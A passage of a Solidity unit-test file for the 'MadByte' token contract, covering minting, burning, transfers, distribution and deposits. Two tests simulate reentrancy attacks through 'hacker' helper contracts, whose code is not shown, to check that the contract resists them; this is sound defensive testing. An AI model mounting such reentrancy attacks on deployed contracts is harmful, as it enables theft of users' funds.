900*ONE_MB); } function testTransfer() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(madBytes, 399_028731704364116575); token.transfer(address(acct1), 2*ONE_MB); uint256 initialBalance1 = token.balanceOf(address(acct1)); uint256 initialBalance2 = token.balanceOf(address(acct2)); assertEq(initialBalance1, 2*ONE_MB); assertEq(initialBalance2, 0); acct1.transfer(address(acct2), ONE_MB); uint256 finalBalance1 = token.balanceOf(address(acct1)); uint256 finalBalance2 = token.balanceOf(address(acct2)); assertEq(finalBalance1, initialBalance1-ONE_MB); assertEq(finalBalance2, initialBalance2+ONE_MB); assertEq(finalBalance1, ONE_MB); assertEq(finalBalance2, ONE_MB); } function testTransferFrom() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(madBytes, 399_028731704364116575); token.transfer(address(acct1), 2*ONE_MB); uint256 initialBalance1 = token.balanceOf(address(acct1)); uint256 initialBalance2 = token.balanceOf(address(acct2)); assertEq(initialBalance1, 2*ONE_MB); assertEq(initialBalance2, 0); acct1.approve(address(this), ONE_MB); token.transferFrom(address(acct1), address(acct2), ONE_MB); uint256 finalBalance1 = token.balanceOf(address(acct1)); uint256 finalBalance2 = token.balanceOf(address(acct2)); assertEq(finalBalance1, initialBalance1-ONE_MB); assertEq(finalBalance2, initialBalance2+ONE_MB); assertEq(finalBalance1, ONE_MB); assertEq(finalBalance2, ONE_MB); } function testFail_TransferFromWithoutAllowance() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(madBytes, 399_028731704364116575); token.transfer(address(acct1), 2*ONE_MB); uint256 initialBalance1 = token.balanceOf(address(acct1)); uint256 initialBalance2 = token.balanceOf(address(acct2)); assertEq(initialBalance1, 2*ONE_MB); assertEq(initialBalance2, 0); token.transferFrom(address(acct1), address(acct2), ONE_MB); uint256 finalBalance1 = token.balanceOf(address(acct1)); uint256 finalBalance2 = token.balanceOf(address(acct2)); assertEq(finalBalance1, initialBalance1-ONE_MB); assertEq(finalBalance2, initialBalance2+ONE_MB); assertEq(finalBalance1, ONE_MB); assertEq(finalBalance2, ONE_MB); } function testFail_TransferMoreThanAllowance() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(madBytes, 399_028731704364116575); token.transfer(address(acct1), 2*ONE_MB); uint256 initialBalance1 = token.balanceOf(address(acct1)); uint256 initialBalance2 = token.balanceOf(address(acct2)); assertEq(initialBalance1, 2*ONE_MB); assertEq(initialBalance2, 0); acct1.approve(address(this), ONE_MB/2); token.transferFrom(address(acct1), address(acct2), ONE_MB); uint256 finalBalance1 = token.balanceOf(address(acct1)); uint256 finalBalance2 = token.balanceOf(address(acct2)); assertEq(finalBalance1, initialBalance1-ONE_MB); assertEq(finalBalance2, initialBalance2+ONE_MB); assertEq(finalBalance1, ONE_MB); assertEq(finalBalance2, ONE_MB); } function testDistribute() public { ( MadByte token, , MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 996000000000000000); assertEq(minerAmount, 999000000000000000); assertEq(lpStakingAmount, 996000000000000000); assertEq(foundationAmount, 9000000000000000); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } function testDistributeWithMoreEthereum() public { ( MadByte token, , MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 400 ether}(0); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); assertEq(madBytes, 39894_868089775762639314); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 400 ether); assertEq(token.getPoolBalance(), 100 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 99600000000000000000); assertEq(minerAmount, 99900000000000000000); assertEq(lpStakingAmount, 99600000000000000000); assertEq(foundationAmount, 900000000000000000); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 300 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 100 ether); assertEq(token.getPoolBalance(), 100 ether); } function testFail_DistributeReEntrant() public { ( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, , FoundationAccount foundation ) = getFixtureData(); HackerAccountDistributeReEntry hacker = new HackerAccountDistributeReEntry(); hacker.setToken(token); admin.setFoundation(address(hacker)); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 400 ether}(0); assertEq(madBytes, 39894_868089775762639314); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); } function testBurn() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(user).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(user)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); uint256 ethReceived = user.burn(madBytes - 100*ONE_MB); assertEq(ethReceived, 9_749391845405398553); assertEq(address(user).balance, ethReceived); assertEq(token.totalSupply(), 100*ONE_MB); assertEq(token.balanceOf(address(user)), 100*ONE_MB); assertEq(address(token).balance, 40 ether - ethReceived); assertEq(token.getPoolBalance(), 10 ether - ethReceived); ethReceived = user.burn(100*ONE_MB); assertEq(ethReceived, 10 ether - 9_749391845405398553); assertEq(address(user).balance, 10 ether); assertEq(address(token).balance, 30 ether); assertEq(token.balanceOf(address(user)), 0); assertEq(token.totalSupply(), 0); assertEq(token.getPoolBalance(), 0); token.distribute(); assertEq(address(token).balance, 0); } function testBurnBillionsOfMadBytes() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(user).balance, 0 ether); // Investing trillions of US dollars in ethereum uint256 madBytes = token.mintTo{value: 70_000_000_000 ether}(address(this), 0); assertEq(madBytes, 17501004975246203818081563855); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 70_000_000_000 ether); assertEq(token.getPoolBalance(), 17500000000000000000000000000); uint256 ethReceived = token.burnTo(address(user), madBytes, 0); } function testFail_BurnMoreThanPossible() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(user).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(user)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); // trying to burn more than the max supply user.burn(madBytes + 100*ONE_MB); } function testFail_BurnZeroMBTokens() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(user).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(user)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); user.burn(0); } function testBurnTo() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount userTo = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(userTo).balance, 0 ether); uint256 madBytes = token.mint{value: 40 ether}(0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); uint256 ethReceived = token.burnTo(address(userTo), madBytes - 100*ONE_MB, 0); assertEq(ethReceived, 9_749391845405398553); assertEq(address(userTo).balance, ethReceived); assertEq(token.totalSupply(), 100*ONE_MB); assertEq(token.balanceOf(address(this)), 100*ONE_MB); assertEq(address(token).balance, 40 ether - ethReceived); assertEq(token.getPoolBalance(), 10 ether - ethReceived); } function testFail_BurnToMoreThanPossible() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount userTo = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(userTo).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); // trying to burn more than the max supply token.burnTo(address(userTo), madBytes + 100*ONE_MB, 0); } function testFail_BurnToZeroMBTokens() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount userTo = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(userTo).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); token.burnTo(address(userTo), 0, 0); } function testFail_BurnToZeroAddress() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount userTo = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(userTo).balance, 0 ether); uint256 madBytes = token.mint{value: 40 ether}(0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); token.burnTo(address(0), madBytes, 0); } function testFail_BurnWithBigMinEthAmount() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount userTo = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(userTo).balance, 0 ether); uint256 madBytes = token.mintTo{value: 40 ether}(address(this), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 40 ether); assertEq(token.getPoolBalance(), 10 ether); // trying to burn more than the max supply token.burnTo(address(userTo), 100*ONE_MB, 40 ether); } function testBurnReEntrant() public { ( MadByte token, , , , ,) = getFixtureData(); HackerAccountBurnReEntry hacker = new HackerAccountBurnReEntry(); hacker.setToken(token); // assert balances assertEq(token.totalSupply(), 0); // mint some tokens to the accounts uint256 madBytesHacker = token.mintTo{value: 40 ether}(address(hacker), 0); assertEq(madBytesHacker, 3990_217121585928137263); assertEq(token.balanceOf(address(hacker)), madBytesHacker); // Transferring the excess to get only 100 MD on the hacker account to make checks easier hacker.transfer(address(this), madBytesHacker - 100*ONE_MB); assertEq(token.balanceOf(address(hacker)), 100*ONE_MB); emit log_named_uint("MadNet balance hacker:", token.balanceOf(address(hacker))); assertEq(address(token).balance, 40 ether); assertEq(address(hacker).balance, 0 ether); // burning with reentrancy 5 times uint256 ethReceivedHacker = hacker.burn(20*ONE_MB); assertEq(token.balanceOf(address(hacker)), 0*ONE_MB); assertEq(address(hacker).balance, 250617721342188290); emit log_named_uint("Real Hacker Balance ETH", address(hacker).balance); // If this check fails we had a reentrancy issue assertEq(address(token).balance, 39_749382278657811710); // testing a honest user ( MadByte token2, , , , ,) = getFixtureData(); assertEq(token2.totalSupply(), 0); UserAccount honestUser = newUserAccount(token2); uint256 madBytes = token2.mintTo{value: 40 ether}(address(honestUser), 0); assertEq(madBytes, 3990_217121585928137263); assertEq(token2.balanceOf(address(honestUser)), madBytes); // Transferring the excess to get only 100 MD on the hacker account to make checks easier honestUser.transfer(address(this), madBytes - 100*ONE_MB); assertEq(address(token2).balance, 40 ether); assertEq(address(honestUser).balance, 0 ether); emit log_named_uint("Initial MadNet balance honestUser:", token2.balanceOf(address(honestUser))); uint256 totalBurnt = 0; for (uint256 i=0; i<5; i++){ totalBurnt += honestUser.burn(20*ONE_MB); } // the honest user must have the same balance as the hacker assertEq(token2.balanceOf(address(honestUser)), 0); assertEq(address(honestUser).balance, address(hacker).balance); assertEq(address(token2).balance, address(token).balance); emit log_named_uint("Honest Balance ETH", address(honestUser).balance); } function testMarketSpreadWithMintAndBurn() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); uint256 supply = token.totalSupply(); assertEq(supply, 0); // mint uint256 mintedTokens = user.mint{value: 40 ether}(0); assertEq(mintedTokens, token.balanceOf(address(user))); // burn uint256 receivedEther = user.burn(mintedTokens); assertEq(receivedEther, 10 ether); } function test_MintAndBurnALotThanBurnEverything(uint96 amountETH) public { if (amountETH == 0) { return; } uint256 maxIt = 10; if (amountETH <= maxIt) { amountETH = amountETH+uint96(maxIt)**2+1; } TokenPure token = new TokenPure(); uint256 initialMB = token.mint(amountETH); emit log_named_uint("Initial supply: ", token.totalSupply()); uint256 madBytes = token.mint(amountETH); emit log_named_uint("Mb generated 2: ", madBytes); emit log_named_uint("Initial supply2: ", token.totalSupply()); uint256 cumulativeMBBurned = 0; uint256 cumulativeMBMinted = 0; uint256 cumulativeETHBurned = 0; uint256 cumulativeETHMinted = 0; uint256 amountBurned = madBytes/maxIt; uint256 amountMinted = amountETH/10000; if (amountMinted == 0) { amountMinted=1; } for (uint256 i=0; i<maxIt; i++) { amountBurned = _min(amountBurned, token.totalSupply()); cumulativeETHBurned += token.burn(amountBurned); cumulativeMBBurned += amountBurned; cumulativeMBMinted += token.mint(amountMinted); cumulativeETHMinted += amountMinted; } int256 burnedMBDiff = int256(cumulativeMBBurned)-int256(cumulativeMBMinted); if (burnedMBDiff < 0) { burnedMBDiff *= -1; } uint256 burnedETH = token.burn(token.totalSupply()); emit log("======================================================="); emit log_named_uint("Token Balance: ", token.totalSupply()); emit log_named_uint("amountMinted ETH ", amountMinted); emit log_named_uint("amountBurned ", amountBurned); emit log_named_uint("cumulativeMBBurned ", cumulativeMBBurned); emit log_named_uint("cumulativeMBMinted ", cumulativeMBMinted); emit log_named_uint("cumulativeETHBurned", cumulativeETHBurned); emit log_named_uint("cumulativeETHMinted", cumulativeETHMinted); emit log_named_int("Diff MB after loop ", burnedMBDiff); emit log_named_uint("Final ETH burned ", burnedETH); emit log_named_uint("Token1 Balance: ", token.poolBalance()); emit log_named_uint("Token1 supply: ", token.totalSupply()); assertTrue(token.poolBalance() >= 0); assertEq(token.totalSupply(), 0); } function test_ConversionMBToEthAndEthMBFunctions(uint96 amountEth) public { ( MadByte token, , , , ,) = getFixtureData(); if (amountEth == 0) { return; } uint256 poolBalance = amountEth; uint256 totalSupply = token.EthtoMB(0, amountEth); uint256 poolBalanceAfter = uint256(keccak256(abi.encodePacked(amountEth))) % amountEth; uint256 totalSupplyAfter = _fx(poolBalanceAfter); uint256 mb = totalSupply - totalSupplyAfter; uint256 returnedEth = token.MBtoEth(poolBalance, totalSupply, mb); emit log_named_uint("Diff:", poolBalance - returnedEth); assertTrue(poolBalance - returnedEth == poolBalanceAfter); } function test_ConversionMBToEthAndEthMBToken(uint96 amountEth) public { TokenPure token = new TokenPure(); if (amountEth == 0) { return; } uint256 totalSupply = token.mint(amountEth); uint256 poolBalanceAfter = uint256(keccak256(abi.encodePacked(amountEth))) % amountEth; uint256 totalSupplyAfter = _fx(poolBalanceAfter); uint256 mb = totalSupply - totalSupplyAfter; uint256 poolBalanceBeforeBurn = token.poolBalance(); uint256 returnedEth = token.burn(mb); emit log_named_uint("Tt supply after", totalSupplyAfter); emit log_named_uint("MB burned ", mb); emit log_named_uint("Pool balance ", poolBalanceBeforeBurn); emit log_named_uint("Pool After ", poolBalanceAfter); emit log_named_uint("returnedEth ", returnedEth); emit log_named_uint("Diff ", poolBalanceBeforeBurn - returnedEth); emit log_named_uint("ExpectedDiff ", poolBalanceAfter); emit log_named_int("Delta ", int256(poolBalanceAfter) - int256(poolBalanceBeforeBurn - returnedEth)); assertTrue(poolBalanceBeforeBurn - returnedEth == poolBalanceAfter); } function testInvariantHold() public { /* tests if the invariant holds with mint and burn: ethIn / burn(mint(ethIn)) >= marketSpread; */ ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); UserAccount user2 = newUserAccount(token); uint256 madBytes = token.mintTo{value: 40 ether}(address(user), 0); uint256 ethReceived = user.burn(madBytes); assertTrue(40 ether / ethReceived >= 4); madBytes = token.mintTo{value: 40 ether}(address(user2), 0); ethReceived = user2.burn(madBytes); assertTrue(40 ether / ethReceived >= 4); madBytes = token.mintTo{value: 40 ether}(address(user), 0); uint256 madBytes2 = token.mintTo{value: 40 ether}(address(user2), 0); uint256 ethReceived2 = user2.burn(madBytes2); ethReceived = user.burn(madBytes); emit log_named_uint("inv1.1:", 40 ether / ethReceived); emit log_named_uint("inv1.2:", 40 ether / ethReceived2); assertTrue(40 ether / ethReceived >= 4); assertTrue(40 ether / ethReceived2 >= 4); // amounts that are not multiple of 4 madBytes = token.mintTo{value: 53 ether}(address(user), 0); madBytes2 = token.mintTo{value: 53 ether}(address(user2), 0); ethReceived2 = user2.burn(madBytes2); ethReceived = user.burn(madBytes); emit log_named_uint("inv1.1:", 53 ether / ethReceived); emit log_named_uint("inv1.2:", 53 ether / ethReceived2); assertTrue(53 ether / ethReceived >= 4); assertTrue(53 ether / ethReceived2 >= 4); } function testInvariantHold2() public { /* tests if the invariant holds with mint and burn: ethIn / burn(mint(ethIn)) >= marketSpread; */ ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); UserAccount user2 = newUserAccount(token); uint256 madBytes = token.mintTo{value: 4*2000 ether}(address(user), 0); uint256 ethReceived = user.burn(madBytes); emit log_named_uint("inv3:", 2000 ether / ethReceived); assertTrue(4*2000 ether / ethReceived >= 4); } function testFail_QueryNonexistingDepositId() public { ( MadByte token, , , , ,) = getFixtureData(); token.getDeposit(1000); } function testFail_GetOwnerWithNonexistingDepositId() public { ( MadByte token, , , , ,) = getFixtureData(); token.getDepositOwner(1000); } function testFail_DepositToContract() public { ( MadByte token, , , , ,) = getFixtureData(); uint256 madBytes = token.mint{value: 10 ether}(0); // contracting simulating an user UserAccount user1 = newUserAccount(token); token.depositTo(address(user1), 10 * ONE_MB); } function testFail_DepositContract() public { ( MadByte token, , , , ,) = getFixtureData(); uint256 madBytes = token.mint{value: 10 ether}(0); token.deposit(10 * ONE_MB); } function testFail_virtualMintDepositContract() public { ( MadByte token, AdminAccount admin , , , ,) = getFixtureData(); uint256 madBytes = token.mintTo{value: 10 ether}(address(admin), 0); // contracting simulating an user UserAccount user1 = newUserAccount(token); admin.virtualMintDeposit(address(user1), 10 * ONE_MB); } function testFail_MintDepositContract() public { ( MadByte token, , , , ,) = getFixtureData(); uint256 madBytes = token.mintDeposit{value: 10 ether}(address(this), 0); } function testFail_DepositWithoutFunds() public { ( MadByte token, , , , ,) = getFixtureData(); uint256 madBytes = token.mint{value: 10 ether}(0); token.depositTo(address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE), 1000 * ONE_MB); } function testFail_noAdminVirtualMintDeposit() public { (MadByte token,,,,,) = getFixtureData(); token.virtualMintDeposit(address(0x0), 100); } function testSingleDeposit() public { (MadByte token,,,,,) = getFixtureData(); assertEq(token.getPoolBalance(), 0); EOA_SingleDeposit user = new EOA_SingleDeposit{value: 10 ether}(token); assertEq(token.totalSupply(), user.madBytes()); assertEq(token.balanceOf(address(user)), user.madBytes()); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 100 * ONE_MB); assertEq(token.getDeposit(1), 100 * ONE_MB); (address depositOwner, ) = token.getDepositOwner(1); assertEq(depositOwner, address(user)); } function testDoubleDeposit() public { (MadByte token,,,,,) = getFixtureData(); assertEq(token.getPoolBalance(), 0); EOA_DoubleDeposit user = new EOA_DoubleDeposit{value: 10 ether}(token); assertEq(token.totalSupply(), user.madBytes()); // first deposit assertEq(token.balanceOf(address(user)), user.madBytes()); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 299 * ONE_MB); assertEq(token.getDeposit(1), 100 * ONE_MB); (address depositOwner, ) = token.getDepositOwner(1); assertEq(depositOwner, address(user)); // second deposit assertEq(token.balanceOf(address(user)), user.madBytes()); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 299 * ONE_MB); assertEq(token.getDeposit(2), 199 * ONE_MB); (address depositOwner2, ) = token.getDepositOwner(2); assertEq(depositOwner2, address(user)); } function testDepositTo() public { (MadByte token,,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); uint256 madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.totalSupply(), madBytes); // first deposit uint256 depositID = token.depositTo(user, 100 * ONE_MB); assertEq(token.totalSupply(), madBytes - (100 * ONE_MB)); assertEq(depositID, 1); assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(this)), madBytes - (100 * ONE_MB)); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 100 * ONE_MB); assertEq(token.getDeposit(1), 100 * ONE_MB); (address depositOwner, ) = token.getDepositOwner(1); assertEq(depositOwner, user); // second deposit depositID = token.depositTo(user, 199 * ONE_MB); assertEq(token.totalSupply(), madBytes - (299 * ONE_MB)); assertEq(depositID, 2); assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(this)), madBytes - (299 * ONE_MB)); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 299 * ONE_MB); assertEq(token.getDeposit(2), 199 * ONE_MB); (address depositOwner2, ) = token.getDepositOwner(2); assertEq(depositOwner2, user); } function testDepositToBN() public { (MadByte token,,,,,) = getFixtureData(); MadByte.BNAddress memory user = MadByte.BNAddress(0x1, 0x2, 0x3, 0x4); uint256 madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.totalSupply(), madBytes); // first deposit uint256 depositID = token.depositToBN(user.to0, user.to1, user.to2, user.to3, 100 * ONE_MB); assertEq(token.totalSupply(), madBytes - (100 * ONE_MB)); assertEq(depositID, 1); assertEq(token.balanceOf(address(this)), madBytes - (100 * ONE_MB)); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 100 * ONE_MB); assertEq(token.getDeposit(1), 100 * ONE_MB); (, MadByte.BNAddress memory depositOwner) = token.getDepositOwner(1); assertEqBNAddress(depositOwner, user); assertEq(token.totalSupply(), madBytes - (100 * ONE_MB)); // second deposit depositID = token.depositToBN(user.to0, user.to1, user.to2, user.to3, 199 * ONE_MB); assertEq(token.totalSupply(), madBytes - (299 * ONE_MB)); assertEq(depositID, 2); assertEq(token.balanceOf(address(this)), madBytes - (299 * ONE_MB)); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 299 * ONE_MB); assertEq(token.getDeposit(2), 199 * ONE_MB); (, MadByte.BNAddress memory depositOwner2) = token.getDepositOwner(2); assertEqBNAddress(depositOwner2, user); } function testVirtualMintDeposit() public { (MadByte token, AdminAccount admin,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); uint256 madBytes = token.mint{value: 10 ether}(0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getPoolBalance(), 2_500000000000000000); // first deposit uint256 depositID = admin.virtualMintDeposit(user, 100 * ONE_MB); assertEq(token.getPoolBalance(), 2_500000000000000000); assertEq(depositID, 1); assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 100 * ONE_MB); assertEq(token.getDeposit(1), 100 * ONE_MB); (address depositOwner, ) = token.getDepositOwner(1); assertEq(depositOwner, user); assertEq(token.getPoolBalance(), 2_500000000000000000); // second deposit depositID = admin.virtualMintDeposit(user, 199 * ONE_MB); assertEq(token.getPoolBalance(), 2_500000000000000000); assertEq(depositID, 2); assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.balanceOf(address(token)), 0); assertEq(token.getTotalMadBytesDeposited(), 299 * ONE_MB); assertEq(token.getDeposit(2), 199 * ONE_MB); (address depositOwner2, ) = token.getDepositOwner(2); assertEq(depositOwner2, user); } function testMintDeposit() public { (MadByte token,,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); assertEq(token.getPoolBalance(), 0); uint256 depositID = token.mintDeposit{value: 10 ether}(user, 0); assertEq(token.getPoolBalance(), 0); assertEq(depositID, 1); assertEq(token.balanceOf(address(user)), 0); assertEq(token.balanceOf(address(this)), 0); assertEq(token.getTotalMadBytesDeposited(), token.getDeposit(1)); (address depositOwner, ) = token.getDepositOwner(depositID); assertEq(depositOwner, user); assertEq(token.getPoolBalance(), 0); uint256 depositID2 = token.mintDeposit{value: 10 ether}(user, 0); assertEq(token.getPoolBalance(), 0); assertEq(depositID2, 2); assertEq(token.balanceOf(address(user)), 0); assertEq(token.balanceOf(address(this)), 0); assertEq(token.getTotalMadBytesDeposited(), token.getDeposit(1)+token.getDeposit(2)); (address depositOwner2, ) = token.getDepositOwner(depositID2); assertEq(depositOwner2, user); assertEq(token.getDeposit(2), token.getDeposit(1)); emit log_named_uint("Amount deposit 1", token.getDeposit(1)); emit log_named_uint("Amount deposit 2", token.getDeposit(2)); // testing if we are getting the same amount of MB from the normal mint uint256 madBytes = token.mint{value: 10 ether}(0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getDeposit(1), madBytes); } function testDistributeWithMadByteDeposit() public { ( MadByte token, , MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); { // assert balances assertEq(stakingAmount, 996000000000000000); assertEq(minerAmount, 999000000000000000); assertEq(lpStakingAmount, 996000000000000000); assertEq(foundationAmount, 9000000000000000); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); 